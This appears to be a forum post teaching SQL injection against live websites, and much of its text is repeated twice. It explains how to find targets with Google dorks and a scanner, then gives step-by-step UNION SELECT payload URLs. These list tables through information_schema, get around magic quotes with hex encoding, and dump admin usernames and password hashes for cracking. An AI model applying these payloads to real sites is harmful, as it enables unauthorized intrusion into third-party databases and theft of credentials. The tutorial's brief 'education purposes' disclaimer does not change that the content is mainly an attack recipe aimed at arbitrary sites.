This is my first tutorial. Hope it is in the right section!
This tutorial will be split up into 9 sections.
1) So first of all: What is an SQL Injection?
2) How do I know if the site is vulnerable?
3) How many columns?
4) Union Select Query
5) What SQL Version does my site use?
6) Finding table names.
7) Finding the column names.
8) Final Step: Getting our information.
9) Finishing touches.
This tutorial will be split up into 9 sections.
1) So first of all: What is an SQL Injection?
2) How do I know if the site is vulnerable?
3) How many columns?
4) Union Select Query
5) What SQL Version does my site use?
6) Finding table names.
7) Finding the column names.
8) Final Step: Getting our information.
9) Finishing touches.
1) So first of all: What is an SQL Injection?
(Taken from the first paragraph on Wikipedia)
http://en.wikipedia.org/wiki/SQL_injection
Now that the definition is out of the way, we can learn how to do it.
2) How do I know if the site is vulnerable?
Well, the most basic way to do it, and the easiest, would be to use an SQLi Scanner, such as this:
To use it, type in either a dork (will be explained next) or a simple search like "id=5" (without quotes). This will search for sites ending with id=5. On the scanner, you will see a large number of links, but the ones to click will be the bold hyperlinks, with @ id=5 after it (if you searched for id=5).
Credits to this scanner goes to Baker.
Alternatively, you can search manually using something called a "Dork". So what is a dork?
A dork is a simple search used on google ( or other search engines ) that brings up sites you are specifically looking for. Examples:
Using the manual method will take a lot of trial and error.
Once you have your site, to check if it is vulnerable, simply add an apostrophe ( ' ) to the end of the url. Example:
If the site is vulnerable, you will see the following error or something similar somewhere on the page.
If you get this, the site should be vulnerable. So far so good!
3) How many columns?
Our next step is to find the number of columns in the database. To do this we use the ORDER BY query. We get our normal site URL, and add ORDER BY 1-- to the end of it. Example:
The page should then show up as normal. Now we have to increase this number until we get an error.
We got an error on 3, so that means our number of columns is 2 (The max column number before getting an error).
4) Union Select Query
We use the union select statement to combine the results of multiple querys in our SQLi. To test if it works, go to our sites normal URL, and write "union select 1,2--" (without quotes) after it. In our example, we use 1,2--, but on other sites, you will usually have a different number of columns. Example: On a site with 5 columns it would be "union select 1,2,3,4,5--".
Notice that there is a - in front of the 5. This is done to remove all text from the webpage, so we can see the results of our query on the page (Explanation. There isn't a -5 page anywhere on the site, so it uses the usual site template, but without the images and text of that specific page).
If union select worked, we should have no SQL errors. We also should now see a few numbers on the page that normally aren't there. For our example, we will say that both 1 and 2 showed up on our page.
5) What SQL Version does my site use?
This will be one of the easier things to do. After we have tested union (and it works!) we simply input "version()" in to one of the numbers in our URL, but these numbers have to be visible on the page, otherwise we won't be able to see the returned query result. Example:
This will replace the number 2 on our page with the SQL version. For our example we will use version 5 and above.
6) Finding table names.
Now we are going to get into the tables. This is where all the information you are looking for will be kept, but first, we need to find the table names. To do so, replace version() with group_concat(table_name). Then after your last column number, add from information_schema.tables--. Example:
On the page you should now have a list of all the table names in the database.
7) Finding the column names.
To find the column names we do the same thing, but replace tables with columns, but we include which table to get the column names from. If we found a table called admin. Example:
Q: I get an error when I do this, or no column names are shown!
A: Magic quotes is on. To bypass this, you must convert the table name to Hex.
You can do this by going to http://www.swingnote.com/tools/texttohex.php . Our query would now look like this:
Note: the 0x tells the computer the following string is in hex.
Lets say the column names were username and password.
8) Final Step: Getting our information.
To finish it off, we want to find out what the columns contain, otherwise, this has all been for nothing! To do so we get our normal site URL and add "union select 1,concat(username,0x3a,password) from admin--".
This will show the username and password from the table admin! Usually your password will be a hash, so you can use an online MD5 Cracker such as MD5Crack or use a program such as Cain and Abel to decrypt the password hash.
9) Finishing touches.
I would like to thank Baker for the SQLi Scanner, as it makes the job so much easier and less time consuming when looking for vulnerable sites.
This tutorial is for education purposes only. I am not responsible for any activities (legal/illegal) that may occur after the reading of this page.
Thanks for reading, feedback and comments appreciated.
Any more questions? PM me!
Quote:SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application (like queries). The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks.
(Taken from the first paragraph on Wikipedia)
http://en.wikipedia.org/wiki/SQL_injection
Now that the definition is out of the way, we can learn how to do it.
2) How do I know if the site is vulnerable?
Well, the most basic way to do it, and the easiest, would be to use an SQLi Scanner, such as this:
Quote:http://frontrunners.co.cc/Scan/scanner/
To use it, type in either a dork (will be explained next) or a simple search like "id=5" (without quotes). This will search for sites ending with id=5. On the scanner, you will see a large number of links, but the ones to click will be the bold hyperlinks, with @ id=5 after it (if you searched for id=5).
Credits to this scanner goes to Baker.
Alternatively, you can search manually using something called a "Dork". So what is a dork?
A dork is a simple search used on google ( or other search engines ) that brings up sites you are specifically looking for. Examples:
Quote:inurl:admin.asp
inurl:sql.php?id=
inurl:source.php?id=
inurl:view.php?id=
inurl:pages.php?id=
Using the manual method will take a lot of trial and error.
Once you have your site, to check if it is vulnerable, simply add an apostrophe ( ' ) to the end of the url. Example:
Quote:http://www.examplesite.com/category.php?id=5'
If the site is vulnerable, you will see the following error or something similar somewhere on the page.
Quote:Error executing query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\\\' ORDER BY date_added DESC' at line 1
If you get this, the site should be vulnerable. So far so good!
3) How many columns?
Our next step is to find the number of columns in the database. To do this we use the ORDER BY query. We get our normal site URL, and add ORDER BY 1-- to the end of it. Example:
Quote:http://www.examplesite.com/category.php?id=5 order by 1--
The page should then show up as normal. Now we have to increase this number until we get an error.
Quote:http://www.examplesite.com/category.php?id=5 order by 1-- No error
http://www.examplesite.com/category.php?id=5 order by 2-- No error
http://www.examplesite.com/category.php?id=5 order by 3-- Error
We got an error on 3, so that means our number of columns is 2 (The max column number before getting an error).
4) Union Select Query
We use the union select statement to combine the results of multiple querys in our SQLi. To test if it works, go to our sites normal URL, and write "union select 1,2--" (without quotes) after it. In our example, we use 1,2--, but on other sites, you will usually have a different number of columns. Example: On a site with 5 columns it would be "union select 1,2,3,4,5--".
Quote:http://www.examplesite.com/category.php?id=-5 union select 1,2--
Notice that there is a - in front of the 5. This is done to remove all text from the webpage, so we can see the results of our query on the page (Explanation. There isn't a -5 page anywhere on the site, so it uses the usual site template, but without the images and text of that specific page).
If union select worked, we should have no SQL errors. We also should now see a few numbers on the page that normally aren't there. For our example, we will say that both 1 and 2 showed up on our page.
5) What SQL Version does my site use?
This will be one of the easier things to do. After we have tested union (and it works!) we simply input "version()" in to one of the numbers in our URL, but these numbers have to be visible on the page, otherwise we won't be able to see the returned query result. Example:
Quote:http://www.examplesite.com/category.php?id=-5 union select 1,version()--
This will replace the number 2 on our page with the SQL version. For our example we will use version 5 and above.
6) Finding table names.
Now we are going to get into the tables. This is where all the information you are looking for will be kept, but first, we need to find the table names. To do so, replace version() with group_concat(table_name). Then after your last column number, add from information_schema.tables--. Example:
Quote:http://www.examplesite.com/category.php?id=-5 union select 1,group_concat(table_name) from information_schema.tables--
On the page you should now have a list of all the table names in the database.
7) Finding the column names.
To find the column names we do the same thing, but replace tables with columns, but we include which table to get the column names from. If we found a table called admin. Example:
Quote:http://www.examplesite.com/category.php?id=-5 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'--
Q: I get an error when I do this, or no column names are shown!
A: Magic quotes is on. To bypass this, you must convert the table name to Hex.
You can do this by going to http://www.swingnote.com/tools/texttohex.php . Our query would now look like this:
Quote:http://www.examplesite.com/category.php?id=-5 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x61646d696e --
Note: the 0x tells the computer the following string is in hex.
Lets say the column names were username and password.
8) Final Step: Getting our information.
To finish it off, we want to find out what the columns contain, otherwise, this has all been for nothing! To do so we get our normal site URL and add "union select 1,concat(username,0x3a,password) from admin--".
This will show the username and password from the table admin! Usually your password will be a hash, so you can use an online MD5 Cracker such as MD5Crack or use a program such as Cain and Abel to decrypt the password hash.
9) Finishing touches.
I would like to thank Baker for the SQLi Scanner, as it makes the job so much easier and less time consuming when looking for vulnerable sites.
This tutorial is for education purposes only. I am not responsible for any activities (legal/illegal) that may occur after the reading of this page.
Thanks for reading, feedback and comments appreciated.
Any more questions? PM me!
